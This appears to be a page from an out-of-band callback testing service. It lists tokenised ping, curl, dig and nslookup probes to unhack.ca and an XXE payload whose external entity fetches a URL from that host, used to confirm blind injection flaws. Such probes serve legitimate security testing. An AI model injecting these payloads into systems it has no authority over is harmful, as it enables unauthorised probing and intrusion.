$ ping -c1 -p 00b84ee469e855e6e6731d651abb1600 unhack.ca
 

$ curl http://unhack.ca/p/b84ee469e855e6e6731d651abb16
 

$ dig b84ee469e855e6e6731d651abb16 @unhack.ca
 

$ dig b84ee469e855e6e6731d651abb16.ns.unhack.ca
 

C:\> nslookup b84ee469e855e6e6731d651abb16 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b84ee469e855e6e6731d651abb16">]>
    <foo>&xxe;</foo>